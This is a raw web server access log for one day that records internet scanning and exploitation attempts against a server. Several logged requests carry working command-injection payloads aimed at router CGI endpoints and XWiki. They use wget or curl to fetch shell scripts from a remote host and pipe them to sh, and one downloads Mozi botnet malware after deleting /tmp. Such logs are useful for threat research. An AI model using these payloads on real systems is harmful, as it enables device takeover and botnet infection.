159.223.0.107 - - [04/Dec/2025:00:14:08 +0100] "-" 400 1930 159.223.0.107 - - [04/Dec/2025:00:14:08 +0100] "-" 400 1930 159.223.0.107 - - [04/Dec/2025:00:14:08 +0100] "GET / HTTP/1.1" 200 1895 159.223.0.107 - - [04/Dec/2025:00:14:08 +0100] "GET /download/powershell/ HTTP/1.1" 404 746 159.223.0.107 - - [04/Dec/2025:00:14:08 +0100] "GET /get.php HTTP/1.1" 404 725 3.91.205.122 - - [04/Dec/2025:00:38:14 +0100] "GET / HTTP/1.1" 200 1895 45.38.44.221 - - [04/Dec/2025:01:00:27 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 176.65.150.63 - - [04/Dec/2025:01:04:33 +0100] "GET /index.asp HTTP/1.1" 404 727 205.210.31.167 - - [04/Dec/2025:01:09:34 +0100] "GET / HTTP/1.0" 200 1895 185.247.137.16 - - [04/Dec/2025:01:36:10 +0100] "GET / HTTP/1.1" 200 1895 209.38.87.162 - - [04/Dec/2025:01:46:30 +0100] "-" 400 1930 209.38.87.162 - - [04/Dec/2025:01:46:30 +0100] "-" 400 1930 209.38.87.162 - - [04/Dec/2025:01:46:31 +0100] "GET / HTTP/1.1" 200 1895 209.38.87.162 - - [04/Dec/2025:01:46:31 +0100] "GET /download/powershell/ HTTP/1.1" 404 746 209.38.87.162 - - [04/Dec/2025:01:46:32 +0100] "GET /get.php HTTP/1.1" 404 725 176.65.148.40 - - [04/Dec/2025:01:52:15 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 204.76.203.254 - - [04/Dec/2025:03:03:48 +0100] "GET / HTTP/1.1" 200 1895 192.159.99.95 - - [04/Dec/2025:04:00:12 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 731 192.159.99.95 - - [04/Dec/2025:04:00:12 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.zqq.sh%7Csh%60 HTTP/1.1" 404 756 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 HTTP/1.1" 404 727 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "GET null HTTP/1.1" 400 1994 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "POST /apply_sec.cgi HTTP/1.1" 404 731 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "POST /goform/mp HTTP/1.1" 404 731 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.uzz.sh%7Csh%26echo%20 HTTP/1.0" 404 749 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "POST /goform/setPingInfo HTTP/1.1" 404 740 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= HTTP/1.1" 404 751 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "POST /diagnostic.php HTTP/1.1" 404 732 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "GET / HTTP/1.1" 200 1895 192.159.99.95 - - [04/Dec/2025:04:00:13 +0100] "GET /HNAP1/ HTTP/1.1" 404 728 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "POST /goform/SystemCommand HTTP/1.1" 404 742 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 792 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 750 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%5B%27sh%27%2C%20%27-c%27%2C%20%27%28wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.sdu.sh%7C%7Cbusybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.sdu.sh%7C%7Ccurl%20-s%20http%3A%2F%2F70.184.13.47%2Frondo.sdu.sh%29%7Csh%27%5D.execute%28%29.text%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D HTTP/1.1" 404 763 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "GET /?doAs=%60%28wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.pms.sh%7C%7Cbusybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.pms.sh%7C%7Ccurl%20-s%20http%3A%2F%2F70.184.13.47%2Frondo.pms.sh%29%7Csh%60 HTTP/1.1" 200 1895 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "GET /cgi-bin/jarrewrite.sh HTTP/1.1" 404 743 192.159.99.95 - - [04/Dec/2025:04:00:14 +0100] "POST /goform/formJsonAjaxReq HTTP/1.1" 404 744 65.49.1.192 - - [04/Dec/2025:04:31:19 +0100] "-" 400 1930 176.65.150.61 - - [04/Dec/2025:05:09:56 +0100] "GET /index.asp HTTP/1.1" 404 727 87.251.78.46 - - [04/Dec/2025:05:13:10 +0100] "GET / HTTP/1.1" 200 1895 27.43.205.116 - - [04/Dec/2025:05:16:24 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 727 185.189.182.234 - - [04/Dec/2025:06:00:14 +0100] "GET / HTTP/1.1" 400 771 110.37.45.148 - - [04/Dec/2025:06:44:59 +0100] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 404 749 98.80.4.25 - - [04/Dec/2025:06:53:33 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.63 - - [04/Dec/2025:07:53:43 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.63 - - [04/Dec/2025:07:53:46 +0100] "-" 400 1930 66.132.153.63 - - [04/Dec/2025:07:53:46 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.63 - - [04/Dec/2025:07:53:47 +0100] "GET /favicon.ico HTTP/1.1" 404 729 66.132.153.63 - - [04/Dec/2025:07:53:50 +0100] "-" 400 1930 66.132.153.63 - - [04/Dec/2025:07:53:50 +0100] "GET /robots.txt HTTP/1.1" 404 728 143.198.187.157 - - [04/Dec/2025:08:13:27 +0100] "GET /.env HTTP/1.1" 404 722 143.198.187.157 - - [04/Dec/2025:08:13:27 +0100] "GET /.git/config HTTP/1.1" 404 733 111.92.125.9 - - [04/Dec/2025:08:33:20 +0100] "GET / HTTP/1.0" 200 1895 79.124.40.86 - - [04/Dec/2025:08:41:40 +0100] "HEAD / HTTP/1.0" 200 - 170.64.188.72 - - [04/Dec/2025:09:30:11 +0100] "GET / HTTP/1.1" 200 1895 87.251.75.163 - - [04/Dec/2025:09:39:23 +0100] "-" 400 1930 216.218.206.68 - - [04/Dec/2025:10:00:47 +0100] "GET / HTTP/1.1" 200 1895 216.218.206.80 - - [04/Dec/2025:10:01:14 +0100] "GET /favicon.ico HTTP/1.1" 404 729 216.218.206.120 - - [04/Dec/2025:10:01:26 +0100] "GET /?format=json HTTP/1.1" 200 1895 216.218.206.120 - - [04/Dec/2025:10:01:32 +0100] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 804 216.218.206.68 - - [04/Dec/2025:10:01:39 +0100] "GET /geoserver/web/ HTTP/1.1" 404 740 14.162.208.41 - - [04/Dec/2025:10:19:13 +0100] "GET / HTTP/1.1" 200 1895 18.97.19.187 - - [04/Dec/2025:11:09:26 +0100] "GET / HTTP/1.1" 200 1895 20.12.240.74 - - [04/Dec/2025:11:12:45 +0100] "-" 400 1930 176.65.148.40 - - [04/Dec/2025:12:35:55 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 45.38.44.221 - - [04/Dec/2025:14:10:19 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 45.142.154.15 - - [04/Dec/2025:14:33:36 +0100] "-" 400 1930 45.142.154.15 - - [04/Dec/2025:14:33:36 +0100] "-" 400 1930 45.142.154.15 - - [04/Dec/2025:14:33:38 +0100] "GET /v1/vector/collections/describe HTTP/1.1" 404 760 45.142.154.15 - - [04/Dec/2025:14:33:38 +0100] "GET /v1 HTTP/1.1" 404 720 45.142.154.15 - - [04/Dec/2025:14:33:39 +0100] "GET / HTTP/1.1" 200 1895 45.142.154.15 - - [04/Dec/2025:14:33:40 +0100] "GET / HTTP/1.1" 200 1895 45.142.154.15 - - [04/Dec/2025:14:33:41 +0100] "GET /favicon.ico HTTP/1.1" 404 729 194.187.176.209 - - [04/Dec/2025:15:11:09 +0100] "GET / HTTP/1.1" 200 1895 194.187.176.146 - - [04/Dec/2025:15:11:09 +0100] "GET /favicon.ico HTTP/1.1" 404 729 198.144.189.90 - - [04/Dec/2025:15:18:45 +0100] "GET /ftptest.cgi HTTP/1.0" 404 729 106.75.157.47 - - [04/Dec/2025:15:38:58 +0100] "F f null" 400 1841 176.65.148.40 - - [04/Dec/2025:15:53:40 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 185.114.175.11 - - [04/Dec/2025:16:09:54 +0100] "GET / HTTP/1.0" 200 1895 139.59.40.142 - - [04/Dec/2025:16:20:31 +0100] "GET / HTTP/1.1" 200 1895 139.59.40.142 - - [04/Dec/2025:16:20:31 +0100] "GET /favicon.ico HTTP/1.1" 404 729 45.38.44.221 - - [04/Dec/2025:16:37:09 +0100] "GET /login HTTP/1.1" 404 723 45.135.193.9 - - [04/Dec/2025:16:55:20 +0100] "GET /json/ HTTP/1.1" 404 727 80.94.95.221 - - [04/Dec/2025:16:58:51 +0100] "-" 400 1930 176.65.148.251 - - [04/Dec/2025:17:32:14 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 20.40.217.42 - - [04/Dec/2025:17:35:46 +0100] "-" 400 1930 193.47.60.192 - - [04/Dec/2025:17:50:16 +0100] "OPTIONS * null" 505 - 45.156.87.74 - - [04/Dec/2025:17:56:11 +0100] "GET /ip HTTP/1.1" 404 720 80.94.95.221 - - [04/Dec/2025:17:56:12 +0100] "-" 400 1930 80.64.19.132 - - [04/Dec/2025:18:11:36 +0100] "-" 400 1930 193.142.146.230 - - [04/Dec/2025:18:21:43 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 45.38.44.221 - - [04/Dec/2025:18:32:06 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 91.239.216.99 - - [04/Dec/2025:18:32:24 +0100] "GET / HTTP/1.1" 200 1895 91.239.216.99 - - [04/Dec/2025:18:32:24 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:32:24 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:32:24 +0100] "GET / HTTP/1.1" 200 1895 91.239.216.99 - - [04/Dec/2025:18:32:24 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:32:24 +0100] "GET /index.htm HTTP/1.1" 404 727 91.239.216.99 - - [04/Dec/2025:18:32:25 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:32:26 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:33:57 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:35:28 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:37:00 +0100] "-" 400 1930 91.239.216.99 - - [04/Dec/2025:18:38:31 +0100] "-" 400 1930 87.121.84.52 - - [04/Dec/2025:18:40:23 +0100] "GET / HTTP/1.0" 200 1895 124.198.131.172 - - [04/Dec/2025:18:45:44 +0100] "GET / HTTP/1.1" 200 1895 124.198.131.172 - - [04/Dec/2025:18:46:04 +0100] "GET / HTTP/1.1" 200 1895 129.45.84.93 - - [04/Dec/2025:18:48:52 +0100] "GET /index.asp HTTP/1.1" 404 727 80.94.95.221 - - [04/Dec/2025:18:50:08 +0100] "-" 400 1930 45.38.44.221 - - [04/Dec/2025:20:23:08 +0100] "GET /login HTTP/1.1" 404 723 212.102.57.167 - - [04/Dec/2025:21:27:23 +0100] "CONNECT www.uni-konstanz.de:443 HTTP/1.1" 400 804 198.235.24.19 - - [04/Dec/2025:22:14:44 +0100] "GET / HTTP/1.1" 200 1895 143.198.33.136 - - [04/Dec/2025:22:49:47 +0100] "-" 400 1930 143.198.33.136 - - [04/Dec/2025:22:49:47 +0100] "-" 400 1930 143.198.33.136 - - [04/Dec/2025:22:49:47 +0100] "GET / HTTP/1.1" 200 1895 143.198.33.136 - - [04/Dec/2025:22:49:48 +0100] "GET /download/powershell/ HTTP/1.1" 404 746 143.198.33.136 - - [04/Dec/2025:22:49:48 +0100] "GET /get.php HTTP/1.1" 404 725 103.77.241.135 - - [04/Dec/2025:23:14:49 +0100] "POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1" 404 756 167.172.190.36 - - [04/Dec/2025:23:15:38 +0100] "-" 400 1930 176.65.148.246 - - [04/Dec/2025:23:30:33 +0100] "GET / HTTP/1.0" 200 1895 37.19.220.46 - - [04/Dec/2025:23:46:56 +0100] "CONNECT upload.wikimedia.org:443 HTTP/1.1" 400 804